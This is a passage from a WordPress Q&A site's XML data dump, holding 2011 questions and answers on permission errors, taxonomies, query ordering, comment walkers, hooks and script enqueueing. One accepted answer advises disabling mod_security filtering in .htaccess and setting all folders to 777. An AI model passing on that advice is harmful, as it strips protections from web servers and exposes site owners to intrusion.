  <row Id="22158" PostTypeId="1" AcceptedAnswerId="22159" CreationDate="2011-07-06T12:32:32.190" Score="1" ViewCount="58" Body="&lt;p&gt;I'm getting this when saving a post after editing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Forbidden&#xA;&#xA;You don't have permission to access /wp-admin/post.php on this server.&#xA;&#xA;Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All file permissions are 644 and directory permission are 755 and owner is myftpuser:myftpuser (this is my FTP user login). I've tried changing all permission to 755 but didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had this issue, is there a solution?&lt;/p&gt;&#xA;" OwnerUserId="6791" LastActivityDate="2011-07-06T12:57:13.467" Title="permissions access error" Tags="&lt;permissions&gt;&lt;404&gt;" AnswerCount="1" />
  <row Id="22159" PostTypeId="2" ParentId="22158" CreationDate="2011-07-06T12:48:56.593" Score="1" ViewCount="" Body="&lt;p&gt;Sometimes hosting providers will implement mod_security (and not mention anything).  Or else, mod_security was already on but a recent installation of a plugin or theme may have exposed this new problem for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try these four things...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following to your .htaccess file (add to .htaccess, don't replace the other stuff already in it)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;    SecFilterEngine Off&#xA;    SecFilterScanPOST Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;chmod &lt;strong&gt;all&lt;/strong&gt; your folders (including plugin and theme folders) to 777 &lt;strong&gt;temporarily&lt;/strong&gt; just to confirm that it's really not a permissions issue with file owner permissions.  If it is, then you can go from there (maybe your site isn't really running as 'myftpuser'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deactivate your plugins, one by one, testing your post after deactivating each one.  (See if a plugin is causing this).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the content you're testing have the word &quot;from&quot; in it?  If so, can you post without using that word as a test?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6737" LastEditorUserId="6737" LastEditorDisplayName="" LastEditDate="2011-07-06T12:57:13.467" LastActivityDate="2011-07-06T12:57:13.467" CommentCount="2" />
  <row Id="22160" PostTypeId="1" CreationDate="2011-07-05T16:28:43.737" Score="0" ViewCount="27" Body="&lt;p&gt;As the title says, what is the field term_group in the table wp_terms used for? The wordpres' blog says it is a means of grouping together similar terms, but i don't understand its real meaning. And in the latest version, the worlpress just set the field with default value(0). How to use it if i want to extend my taxonomy? Thanks very much!&lt;/p&gt;&#xA;" LastActivityDate="2011-07-06T12:58:41.983" Title="What is the field term_group used for in Wordpress's taxonomy?" Tags="&lt;taxonomy&gt;" />
  <row Id="22161" PostTypeId="1" CreationDate="2011-07-06T12:15:30.163" Score="1" ViewCount="55" Body="&lt;p&gt;I need to request a certain list of posts in the order I want. I'm getting the posts using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('category_name'=&amp;gt;'cases', 'posts_per_page'=&amp;gt;5, 'post__in'=&amp;gt;$_SESSION['sorting'], 'paged'=&amp;gt;$paged);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works in that I get the posts in the array $_SESSION['sorting'] but the problem is that my sorting gets lost even if iI don't suggest a special orderby field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-06T04:39:44.237" Title="Wordpress: Keep order of query_posts list of post ID's using post__in" Tags="&lt;untagged&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="22162" PostTypeId="1" AcceptedAnswerId="22196" CreationDate="2011-07-06T13:02:26.173" Score="1" ViewCount="46" Body="&lt;p&gt;I have defined a walker in function.php to display comments in a certain way. I use the following code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function speld_comment($comment, $args, $depth) {&#xA;$GLOBALS['comment'] = $comment; ?&amp;gt;&#xA;&amp;lt;?php &#xA;global $comment_count;&#xA;$comment_count++; &#xA;?&amp;gt;&#xA;&amp;lt;!-- &amp;lt;?php echo $comment_count; ?&amp;gt; --&amp;gt;&#xA;&amp;lt;li &amp;lt;?php comment_class(); ?&amp;gt; id=&quot;li-comment-&amp;lt;?php comment_ID() ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;comment-author_pic&quot;&amp;gt;&#xA;        &amp;lt;?php echo get_avatar($comment,$size='48',$default='http://www.speld.nl/wp-content/themes/speld5/images/avatar.png' ); ?&amp;gt;&#xA;        &amp;lt;p class=&quot;comment_number&quot;&amp;gt;&amp;lt;?php echo $comment_count; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;comment_text&quot;&amp;gt;&#xA;        &amp;lt;?php if ($comment-&amp;gt;comment_approved == '0') : ?&amp;gt;&#xA;        &amp;lt;em&amp;gt;&amp;lt;?php _e('Een moment geduld, uw reactie wordt beoordeeld door de Speld Waarheidscommissie.') ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;div class=&quot;comment-meta commentmetadata&quot;&amp;gt;&#xA;            &amp;lt;?php printf(__('%s'), get_comment_author_link()) ?&amp;gt; &amp;amp;bull;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo htmlspecialchars( get_comment_link( $comment-&amp;gt;comment_ID ) ) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php printf(__('%1$s, %2$s'), get_comment_date(),  get_comment_time()) ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php // we want to add 'Zie profiel' here.. comment_author_link()  ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php comment_text() ?&amp;gt;&#xA;        &amp;lt;div class=&quot;comment_tools&quot;&amp;gt;&#xA;            &amp;lt;?php comment_reply_link(array_merge( $args, array('depth' =&amp;gt; $depth, 'reply_text'=&amp;gt;'Reageer', 'max_depth' =&amp;gt; $args['max_depth']))) ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;p&gt;I've also enabled reacting to a comment (1 level deep).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is in the comment_count variable. Whenever somebody replies to a comment, the numbering for all comments below the reply shifts one number down. I'd like to prevent that from happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make an if statement in the walker that allows reactions to a comment to not contain the comment_count variable? Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="4567" LastActivityDate="2011-07-06T17:53:02.777" Title="Displaying comments with a walker: how to distinguish between parent and child comments" Tags="&lt;comments&gt;" AnswerCount="1" />
  <row Id="22163" PostTypeId="1" CreationDate="2011-07-05T08:18:44.280" Score="0" ViewCount="35" Body="&lt;p&gt;I've been looking for a good solution for this for ages and thought I'd give stack overflow a shot. We all know that wordpress has private &amp;amp; password protected pages. But private pages are 'site-wide' so that all members get access to all private pages, and password protected pages are difficult to manage. I'd like to be able to create users and let them have access to a specific set of pages, or a category for instance, that neither the public nor any other users would be able to access. We're essentially talking about a clientroom type of functionality here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions in terms of proper, robust plugins for this type of solution? I wouldn't mind paying a license if necessary, as long as things are done well.&lt;/p&gt;&#xA;" LastActivityDate="2011-09-04T17:59:07.460" Title="Multiple member areas in wordpress" Tags="&lt;plugins&gt;" AnswerCount="3" />
  <row Id="22164" PostTypeId="1" CreationDate="2011-07-06T13:29:04.423" Score="0" ViewCount="53" Body="&lt;p&gt;Im looking for an action hook to link my function to when a completely new post is created with a &lt;strong&gt;status of pending&lt;/strong&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of 'save_post' and others but want to target &lt;strong&gt;specifically when a post is new&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found this on a previous question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('new_to_publish', 'your_function');&#xA;add_action('draft_to_publish', 'your_function');&#xA;add_action('pending_to_publish', 'your_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but could do with something like &lt;code&gt;new_to_pending&lt;/code&gt; or similar? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help would be great! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-08-06T06:39:47.767" Title="looking for wordpress action hook for new pending post?" Tags="&lt;posts&gt;&lt;functions&gt;&lt;hooks&gt;&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="22166" PostTypeId="2" ParentId="6731" CreationDate="2011-07-06T13:41:05.567" Score="0" ViewCount="" Body="&lt;p&gt;For anyone else looking for this, add this to your &lt;code&gt;functions.php&lt;/code&gt; and you can have the functionality, inside or outside of the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_post_type($type){&#xA;    global $wp_query;&#xA;    if($type == get_post_type($wp_query-&amp;gt;post-&amp;gt;ID)) return true;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you can now use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_single() &amp;amp;&amp;amp; is_post_type('post_type'){&#xA;  //work magic&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-06T13:41:05.567" />
  <row Id="22168" PostTypeId="2" ParentId="8876" CreationDate="2011-07-06T13:46:06.403" Score="0" ViewCount="" Body="&lt;p&gt;Here's what I usually use to change a single query value for a taxonomy or category page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;global $wp_query;&#xA;&#xA;$wp_query-&amp;gt;query_vars['posts_per_page'] = 9;&#xA;&#xA;query_posts($wp_query-&amp;gt;query_vars); &#xA;&#xA;if (have_posts()) : while (have_posts()) : the_post();&#xA;&#xA;    // Post content here&#xA;&#xA;endwhile; endif; &#xA;&#xA;wp_reset_query(); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically you just grab the default query values array from the global $wp_query, reset the values you need in the array and re-run the query, resetting everything at the end so that it doesn't conflict with other page loops.&lt;/p&gt;&#xA;" OwnerUserId="1495" LastActivityDate="2011-07-06T13:46:06.403" />
  <row Id="22169" PostTypeId="2" ParentId="22164" CreationDate="2011-07-06T13:50:21.237" Score="1" ViewCount="" Body="&lt;p&gt;There's the following (/wp-includes/post.php - line 2985):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;do_action( 'transition_post_status', $new_status, $old_status, $post )&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-06T13:50:21.237" CommentCount="1" />
  <row Id="22170" PostTypeId="2" ParentId="22163" CreationDate="2011-07-06T13:59:47.330" Score="0" ViewCount="" Body="&lt;p&gt;WinkPress has a nice review of some of the major membership plugins available.  It looks like several of these will be able to support multiple membership &lt;strong&gt;levels&lt;/strong&gt; and in my browsing I can see that you can restrict content to specific levels. (Such as with WPMU DEV Membership)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://winkpress.com/membership-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://winkpress.com/membership-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6737" LastActivityDate="2011-07-06T13:59:47.330" />
  <row Id="22172" PostTypeId="1" AcceptedAnswerId="22174" CreationDate="2011-07-06T14:27:29.770" Score="2" ViewCount="45" Body="&lt;p&gt;I want to generate slug for some strings without going through WordPress slug generation flow. Therefore, I want to know which functions it calls to get a neat slug. I tried sanitize_title() but it leaves %c2 %a0 in result.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-07-06T15:03:26.057" Title="Is sanitize_title enough to generate post slugs?" Tags="&lt;seo&gt;&lt;slug&gt;&lt;sanitization&gt;" AnswerCount="1" />
  <row Id="22173" PostTypeId="1" CreationDate="2011-07-06T14:52:30.027" Score="1" ViewCount="28" Body="&lt;p&gt;I'm creating a custom taxonomy whose terms must remain fixed by all users. Once I've set up the starting set of terms, I want them to be immutable. I also don't want to clutter up the Admin UI with additional links and metaboxes where they're not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, setting public =&gt; 'false', or show_ui =&gt; 'false' not only hides the manage tax link, but also prevents the user from assigning the term to a new post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a way to hide the &quot;manage&quot; link within the post type pulldown, show the term selector metabox on the post page, but (hopefully) disable the &quot;Add Term&quot; option at the bottom of this metabox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a feature exist? Or are taxonomies always supposed to be user editable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom taxonomy capabilities get me most of the way there, since you can independently set CRUD rights based on capability. But how to disable even admins from modification? (I know this sounds like a bad idea but it's viable.)&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-07-06T15:12:27.250" LastActivityDate="2011-07-06T15:12:27.250" Title="Read-only taxonomy (user can assign term but can't create or edit existing terms)" Tags="&lt;custom-taxonomy&gt;" FavoriteCount="1" />
  <row Id="22174" PostTypeId="2" ParentId="22172" CreationDate="2011-07-06T15:03:26.057" Score="5" ViewCount="" Body="&lt;p&gt;You are almost there. The function you need is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/sanitize_title_with_dashes&quot; rel=&quot;nofollow&quot;&gt;sanitize_title_with_dashes( $title )&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-06T15:03:26.057" />
  <row Id="22175" PostTypeId="1" CreationDate="2011-07-06T15:22:52.827" Score="1" ViewCount="165" Body="&lt;p&gt;I thought I was crazy, but on some of the images in my media gallery, there is no &quot;insert into post&quot; button.  see the picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i54.tinypic.com/2uoicy1.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i54.tinypic.com/2uoicy1.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is only for &lt;em&gt;some&lt;/em&gt; images though, and the button is there, like it's supposed to be, for the others.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what could be causing this to afflict particular images and not all of them?&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-24T22:47:46.507" Title="Insert into Post button is missing for certain images" Tags="&lt;media-upload&gt;" AnswerCount="4" CommentCount="7" />
  <row Id="22176" PostTypeId="2" ParentId="21316" CreationDate="2011-07-06T15:34:33.427" Score="0" ViewCount="" Body="&lt;p&gt;Try this mark-up with nothing else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;postbox&quot;&amp;gt;&#xA;&amp;lt;div title=&quot;Click to toggle&quot; class=&quot;handlediv&quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;h3 class=&quot;hndle&quot;&amp;gt;HEADLINE/META BOX TITLE&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;inside&quot;&amp;gt;YOUR CONTENT&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- // postbox --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-06T15:34:33.427" CommentCount="2" />
  <row Id="22177" PostTypeId="2" ParentId="22009" CreationDate="2011-07-06T15:36:38.027" Score="1" ViewCount="" Body="&lt;p&gt;Going into the header.php file and reversing the order of the following lines made the dropdowns work on my sites, so I guess that's good enough for now. It still breaks my Featured Content Gallery plugin, but I'll figure that out later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reverse these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/includes/js/jquery-1.3.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that the wp_head code comes first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proper place to enqueue scripts is in &lt;code&gt;functions.php&lt;/code&gt;, rather than directly in the document head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my-theme_enqueue_scripts() {&#xA;    // only on the front end; don't mess with Admin scripts&#xA;    if ( ! is_admin() ) {&#xA;        // Only enqueue the core-bundled jQuery script&#xA;        wp_enqueue_script( 'jquery' );&#xA;    }&#xA;}&#xA;// Enqueue at proper hook&#xA;add_action( 'wp_enqueue_scripts', 'my-theme_enqueue_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Omit the hard-coded link to jquery-1.3.2.min.js entirely. &lt;/li&gt;&#xA;&lt;li&gt;You don't want to enqueue &lt;em&gt;both&lt;/em&gt; version 1.6.1 (which is bundled with WordPress) &lt;em&gt;and&lt;/em&gt; version 1.3.2 (which is bundled with the Theme). Just use the core-bundled version.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the Theme is adding any other scripts (such as e.g. SuperFish), these should be enqueued properly, as well. Non-core-bundled scripts simply have to be &lt;em&gt;registered&lt;/em&gt; before they can be enqueued. To modify our previous function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my-theme_enqueue_scripts() {&#xA;    // only on the front end; don't mess with Admin scripts&#xA;    if ( ! is_admin() ) {&#xA;        // Only enqueue the core-bundled jQuery script&#xA;        wp_enqueue_script( 'jquery' );&#xA;        // Register our superfish script, dependent upon jquery&#xA;        wp_register_script( 'superfish', get_template_directory_uri() . '/includes/js/superfish.js', 'jquery' );&#xA;        // Enqueue superfish script&#xA;        wp_enqueue_script( 'superfish' );&#xA;    }&#xA;}&#xA;// Enqueue at proper hook&#xA;add_action( 'wp_enqueue_scripts', 'my-theme_enqueue_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will force WordPress to enqueue SuperFish &lt;em&gt;after&lt;/em&gt; jQuery is enqueued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat for all hard-coded script links in the document head.&lt;/p&gt;&#xA;" OwnerUserId="6796" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-06T20:17:23.133" LastActivityDate="2011-07-06T20:17:23.133" CommentCount="6" />
  <row Id="22178" PostTypeId="1" AcceptedAnswerId="24407" CreationDate="2011-07-06T15:44:40.030" Score="1" ViewCount="70" Body="&lt;p&gt;I know that Google +1 is quite new (at time of writing), but I wondered if there were any plugins that support these. By &quot;Social Interaction tracking on Google Analytics&quot; I mean - that use this code - &lt;a href=&quot;http://code.google.com/apis/analytics/docs/tracking/gaTrackingSocial.html?utm_source=helpCenter&amp;amp;utm_medium=helpCenter&amp;amp;utm_campaign=social&amp;amp;utm_content=socialPluginTracking&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/apis/analytics/docs/tracking/gaTrackingSocial.html?utm_source=helpCenter&amp;amp;utm_medium=helpCenter&amp;amp;utm_campaign=social&amp;amp;utm_content=socialPluginTracking&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative is to find a plugin that supports the first two and add my own analytics, but I wondered if someone had done it already.&lt;/p&gt;&#xA;" OwnerUserId="4661" LastActivityDate="2011-07-29T09:25:49.783" Title="Are there any plugins yet that support Facebook Like, Google +1 and allow Social Interaction tracking on Google Analytics" Tags="&lt;plugins&gt;&lt;facebook&gt;&lt;google-analytics&gt;" AnswerCount="2" />
  <row Id="22179" PostTypeId="1" CreationDate="2011-07-06T15:46:33.180" Score="0" ViewCount="16" Body="&lt;p&gt;I'm trying to figure out a way to generate META descriptions based not only specific .PHP pages but also different content sections on different pages.  I'll try to explain better by breaking it down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Home Page / index.php / Hardcoded text (I say hardcoded because its just going to be a general description)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Portfolio Main Page / archive-portfolio.php / Hardcoded Text (Using Custom Post Types)(I say hardcoded because its just going to be a general description, &quot;Welcome to my Portfolio...etc&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Portfolio Single Project / single-portfolio.php / Custom Field Text (Using Custom Post Type)(I used a custom field to specify each project text)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Blog Main Page / archive.php / Hardcoded Text (I say hardcoded because its just going to be a general description, &quot;Welcome to my Blog...etc&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Blog Single Post / single.php / Generate from &quot;the_content&quot; Wordpress code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-About Page / about.php / Generate from &quot;the_content&quot; Wordpress code&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2011-07-06T15:46:33.180" Title="META descriptions based on different .PHP pages &amp;" Tags="&lt;html&gt;&lt;seo&gt;&lt;comment-meta&gt;&lt;description&gt;" />
  <row Id="22180" PostTypeId="1" CreationDate="2011-07-06T15:52:09.543" Score="0" ViewCount="40" Body="&lt;p&gt;Haven't worked much with XML so I'm hitting a bit of a wall:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getapi() &#xA;{&#xA;$api_response = wp_remote_get(&quot;http://.... xml&quot;);&#xA;$data = wp_remote_retrieve_body($api_response);&#xA;$output = new SimpleXMLElement($data);&#xA;&#xA;return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Transient:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function transient()&#xA;{&#xA;&#xA;$transient = get_transient('transient_value');&#xA;&#xA;if ( !$transient ) {&#xA;    $transient = getapi();&#xA;    set_transient('transient_value', $transient, 180);&#xA;}&#xA;&#xA;return $transient;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can easily show the data, but &lt;strong&gt;calling it up from a stored transient&lt;/strong&gt; results in this error being shown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Node no longer exists in C:\xampplite\htdocs\...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure what the extra step is that I need to perform in order to store the data correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noel&lt;/p&gt;&#xA;" OwnerUserId="2393" LastEditorUserId="2393" LastEditorDisplayName="" LastEditDate="2011-07-06T20:36:27.987" LastActivityDate="2011-07-06T22:03:02.357" Title="Storing an XML Response (Transient)?" Tags="&lt;xml-rpc&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22181" PostTypeId="1" AcceptedAnswerId="22194" CreationDate="2011-07-06T16:01:11.903" Score="0" ViewCount="81" Body="&lt;p&gt;What is the best way to filter the posts being displayed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in my functions.php file I want to have something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( $tag, 'filter_posts');&#xA;&#xA;function filter_posts(){&#xA;&#xA;   if(is_home()){&#xA;&#xA;   //return custom post query that will be used in loop&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6798" LastActivityDate="2011-07-06T17:21:17.390" Title="Filter have_posts()/ the_post()" Tags="&lt;filters&gt;" AnswerCount="1" />
  <row Id="22182" PostTypeId="1" AcceptedAnswerId="22186" CreationDate="2011-07-06T16:07:23.163" Score="1" ViewCount="530" Body="&lt;p&gt;I've just upgraded from 3.1.2 to 3.2, and now &quot;featured image&quot; is no longer listed at the bottom right of a post in admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has this feature of WP been removed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it be added back, or turned back on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My old posts still have their old featured image, but it cannot be added to new ones.&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-08-09T00:01:49.480" Title="Featured Image missing in Wordpress 3.2 Admin" Tags="&lt;post-thumbnails&gt;&lt;wordpress-version&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="22183" PostTypeId="1" CreationDate="2011-07-06T16:09:59.620" Score="0" ViewCount="69" Body="&lt;p&gt;everyone!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find the solution to this here, but if it's here and someone can point me in the right direction, I'd appreciate it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a navigation using a jquery tabs plugin, and it works well with my HTML mockup. It involves creating each page's content in a div id that starts with &quot;#tab-&lt;em&gt;&quot;, with the &quot;&lt;/em&gt;&quot; corresponding to the &quot;page&quot; of content. Here is the jQuery: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function initTabs()&#xA;{&#xA;    var sets = document.getElementsByTagName(&quot;ul&quot;);&#xA;    for (var i = 0; i &amp;lt; sets.length; i++)&#xA;    {&#xA;        if (sets[i].className.indexOf(&quot;tabset&quot;) != -1)&#xA;        {&#xA;            var tabs = [];&#xA;            var links = sets[i].getElementsByTagName(&quot;a&quot;);&#xA;            for (var j = 0; j &amp;lt; links.length; j++)&#xA;            {&#xA;                if (links[j].className.indexOf(&quot;tab&quot;) != -1)&#xA;                {&#xA;                    tabs.push(links[j]);&#xA;                    links[j].tabs = tabs;&#xA;                    var c = document.getElementById(links[j].href.substr(links[j].href.indexOf(&quot;#&quot;) + 1));&#xA;&#xA;                    if (c) if (links[j].parentNode.className.indexOf(&quot;active&quot;) != -1) c.style.display = &quot;block&quot;;&#xA;                    else c.style.display = &quot;none&quot;;&#xA;&#xA;                    links[j].onclick = function ()&#xA;                    {&#xA;                        var c = document.getElementById(this.href.substr(this.href.indexOf(&quot;#&quot;) + 1));&#xA;                        if (c)&#xA;                        {&#xA;                            for (var i = 0; i &amp;lt; this.tabs.length; i++)&#xA;                            {&#xA;                                var tab = document.getElementById(this.tabs[i].href.substr(this.tabs[i].href.indexOf(&quot;#&quot;) + 1));&#xA;                                if (tab)&#xA;                                {&#xA;                                    tab.style.display = &quot;none&quot;;&#xA;                                }&#xA;                                this.tabs[i].parentNode.className = this.tabs[i].parentNode.className.replace(&quot;active&quot;, &quot;&quot;);&#xA;                            }&#xA;                            this.parentNode.className += &quot; active&quot;;&#xA;                            c.style.display = &quot;block&quot;;&#xA;                            return false;&#xA;                        }&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;if (window.addEventListener)&#xA;    window.addEventListener(&quot;load&quot;, initTabs, false);&#xA;else if (window.attachEvent &amp;amp;&amp;amp; !window.opera)&#xA;    window.attachEvent(&quot;onload&quot;, initTabs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which should be pretty standard looking, and here is what's in the HTML, on the index.html page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;tab-content&quot; id=&quot;tab-3&quot;&amp;gt;&#xA;                    ...a bunch of content here...&#xA;                &amp;lt;/div&amp;gt; &amp;lt;!-- /tab content --&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example. So supposedly I'd have all the content for all the pages on the index.html, and the tabbed navigation would read the content from there. I'm hoping that I'm making sense. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what I need to do here is &quot;Wordpressify&quot; this mockup. I want to have WP pages with the content, then display that content in a proper way on the &quot;page-home.php&quot; template that I'm creating, so that it's dynamic. I also want the tabs to work, but I can't name the slugs for each page &quot;#tab-1&quot; because if I try to, and save the slugs for each page, it gets rid of the &quot;#&quot; and the slugs are simply &quot;tab-1&quot; which doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried this? I know that it's sort of an over-complicated way to do this navigation, but I wanted that slick tab effect AND use WP, so I'm in this pickle. Thanks in advance! 